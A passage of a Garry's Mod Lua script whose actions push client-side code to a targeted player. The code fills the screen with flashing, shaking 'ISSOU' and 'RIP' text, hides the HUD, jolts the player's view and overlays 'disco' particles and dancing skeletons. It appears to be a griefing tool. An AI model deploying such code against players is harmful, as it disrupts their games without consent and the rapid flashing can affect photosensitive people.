  420.                 TEXT_ALIGN_CENTER,
  421.                 TEXT_ALIGN_CENTER,
  422.                 3,
  423.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  424.             )
  425.             draw.SimpleTextOutlined(
  426.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  427.                 "DermaLarge",
  428.                 ScrW() /2 +math.random( -2, 2 ),
  429.                 ScrH() /2 +math.random( -2, 2 ) +400,
  430.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  431.                 TEXT_ALIGN_CENTER,
  432.                 TEXT_ALIGN_CENTER,
  433.                 3,
  434.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  435.             )
  436.             draw.SimpleTextOutlined(
  437.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  438.                 "DermaLarge",
  439.                 ScrW() /2 +math.random( -2, 2 ),
  440.                 ScrH() /2 +math.random( -2, 2 ) -430,
  441.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  442.                 TEXT_ALIGN_CENTER,
  443.                 TEXT_ALIGN_CENTER,
  444.                 3,
  445.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  446.             )
  447.             draw.SimpleTextOutlined(
  448.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  449.                 "DermaLarge",
  450.                 ScrW() /2 +math.random( -2, 2 ),
  451.                 ScrH() /2 +math.random( -2, 2 ) +430,
  452.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  453.                 TEXT_ALIGN_CENTER,
  454.                 TEXT_ALIGN_CENTER,
  455.                 3,
  456.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  457.             )
  458.             draw.SimpleTextOutlined(
  459.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  460.                 "DermaLarge",
  461.                 ScrW() /2 +math.random( -2, 2 ),
  462.                 ScrH() /2 +math.random( -2, 2 ) +460,
  463.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  464.                 TEXT_ALIGN_CENTER,
  465.                 TEXT_ALIGN_CENTER,
  466.                 3,
  467.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  468.             )
  469.             draw.SimpleTextOutlined(
  470.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  471.                 "DermaLarge",
  472.                 ScrW() /2 +math.random( -2, 2 ),
  473.                 ScrH() /2 +math.random( -2, 2 ) -460,
  474.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  475.                 TEXT_ALIGN_CENTER,
  476.                 TEXT_ALIGN_CENTER,
  477.                 3,
  478.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  479.             )
  480.             draw.SimpleTextOutlined(
  481.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  482.                 "DermaLarge",
  483.                 ScrW() /2 +math.random( -2, 2 ),
  484.                 ScrH() /2 +math.random( -2, 2 ) +490,
  485.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  486.                 TEXT_ALIGN_CENTER,
  487.                 TEXT_ALIGN_CENTER,
  488.                 3,
  489.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  490.             )
  491.             draw.SimpleTextOutlined(
  492.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  493.                 "DermaLarge",
  494.                 ScrW() /2 +math.random( -2, 2 ),
  495.                 ScrH() /2 +math.random( -2, 2 ) -490,
  496.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  497.                 TEXT_ALIGN_CENTER,
  498.                 TEXT_ALIGN_CENTER,
  499.                 3,
  500.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  501.             )
  502.             draw.SimpleTextOutlined(
  503.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  504.                 "DermaLarge",
  505.                 ScrW() /2 +math.random( -2, 2 ),
  506.                 ScrH() /2 +math.random( -2, 2 ) +520,
  507.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  508.                 TEXT_ALIGN_CENTER,
  509.                 TEXT_ALIGN_CENTER,
  510.                 3,
  511.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  512.             )
  513.             draw.SimpleTextOutlined(
  514.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  515.                 "DermaLarge",
  516.                 ScrW() /2 +math.random( -2, 2 ),
  517.                 ScrH() /2 +math.random( -2, 2 ) -520,
  518.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  519.                 TEXT_ALIGN_CENTER,
  520.                 TEXT_ALIGN_CENTER,
  521.                 3,
  522.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  523.             )
  524.             draw.SimpleTextOutlined(
  525.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  526.                 "DermaLarge",
  527.                 ScrW() /2 +math.random( -2, 2 ),
  528.                 ScrH() /2 +math.random( -2, 2 ) +550,
  529.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  530.                 TEXT_ALIGN_CENTER,
  531.                 TEXT_ALIGN_CENTER,
  532.                 3,
  533.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  534.             )
  535.             draw.SimpleTextOutlined(
  536.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  537.                 "DermaLarge",
  538.                 ScrW() /2 +math.random( -2, 2 ),
  539.                 ScrH() /2 +math.random( -2, 2 ) -550,
  540.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  541.                 TEXT_ALIGN_CENTER,
  542.                 TEXT_ALIGN_CENTER,
  543.                 3,
  544.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  545.             )
  546.         end )
  547.  
  548.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  549.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  550.  
  551.         surface.PlaySound( "garrysmod/save_load4.wav" )
  552.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  553.     ]] )
  554. end )
  555.  
  556.  
  557. --Disco time
  558. lol:PushAction( 10, function( pPlayer )
  559.     local idx = pPlayer:EntIndex()
  560.     timer.Create( "beat".. idx, 0.42, 0, function()
  561.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  562.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  563.     end )
  564.  
  565.  
  566.     lol:SendLua( pPlayer, [[
  567.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  568.         local time = 0
  569.  
  570.         hook.Add( "Think", "wat", function()
  571.             if CurTime() < time then
  572.                 return
  573.             end
  574.  
  575.             time = CurTime() +0.05
  576.             for i = 1, 16 do
  577.                 local part = emitter:Add(
  578.                     "particles/balloon_bit",
  579.                     LocalPlayer():GetPos() +Vector(
  580.                         math.random( -256, 256 ),
  581.                         math.random( -256, 256 ),
  582.                         256
  583.                     )
  584.                 )
  585.                
  586.                 if part then
  587.                     local Size = math.random( 4, 7 )
  588.                    
  589.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  590.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  591.                     part:SetDieTime( 4.5 )
  592.                     part:SetGravity( Vector(40, 0, -250) )
  593.                     part:SetLifeTime( 0 )
  594.                     part:SetStartSize( Size /2 )
  595.                     part:SetEndSize( Size )
  596.                     part:SetCollide( true )
  597.                 end
  598.             end
  599.         end )
  600.     ]] )
  601.  
  602.     lol:SendLua( pPlayer, [[
  603.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  604.             local sinScaler = math.sin( CurTime() )
  605.             DrawBloom(
  606.                 0,
  607.                 3,
  608.                 sinScaler *math.Rand(1, 8),
  609.                 sinScaler *math.Rand(1, 8),
  610.                 6,
  611.                 math.Rand(0.5, 2),
  612.                 math.Rand(0, 0.3),
  613.                 math.Rand(0, 0.3),
  614.                 math.Rand(0.5, 1)
  615.             )
  616.  
  617.             DrawColorModify{
  618.                 ["$pp_colour_addr"] = 0,
  619.                 ["$pp_colour_addg"] = 0,
  620.                 ["$pp_colour_addb"] = 00,
  621.                 ["$pp_colour_brightness" ] = 0,
  622.                 ["$pp_colour_contrast" ] = 1,
  623.                 ["$pp_colour_colour" ] = 1,
  624.                 ["$pp_colour_mulr" ] = 0,
  625.                 ["$pp_colour_mulg" ] = 0,
  626.                 ["$pp_colour_mulb" ] = 1
  627.             }
  628.         end )
  629.  
  630.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  631.         mdl:SetNoDraw( true )
  632.         local posCache, time = {}, 0
  633.  
  634.         hook.Add( "HUDPaint", "dance", function()
  635.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  636.                 local idx = mdl:LookupSequence("taunt_dance")
  637.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  638.                 mdl.SeqStart = CurTime()
  639.                 mdl:ResetSequence( idx )
  640.             end
  641.  
  642.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  643.  
  644.            
  645.             local w, h = 300, 300
  646.             local ang = Angle( 0, 0, 0 )
  647.  
  648.             for i = 1, 32 do
  649.                 if CurTime() > time then
  650.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  651.                 end
  652.                 local x, y = posCache[i][1], posCache[i][2]
  653.  
  654.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  655.                     cam.IgnoreZ( true )
  656.                     render.SuppressEngineLighting( true )
  657.                    
  658.                     render.SetLightingOrigin( mdl:GetPos() )
  659.                     render.ResetModelLighting( 1, 1, 1 )
  660.                     render.SetColorModulation( 0, 0, 1 )
  661.  
  662.                     mdl:DrawModel()
  663.                    
  664.                     render.SuppressEngineLighting( false )
  665.                     cam.IgnoreZ( false )
  666.                 cam.End3D()
  667.             end
  668.  
  669.             if CurTime() > time then
  670.                 time = CurTime() +0.15
  671.             end
  672.         end )
  673.  
  674.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  675.     ]] )
  676. end )
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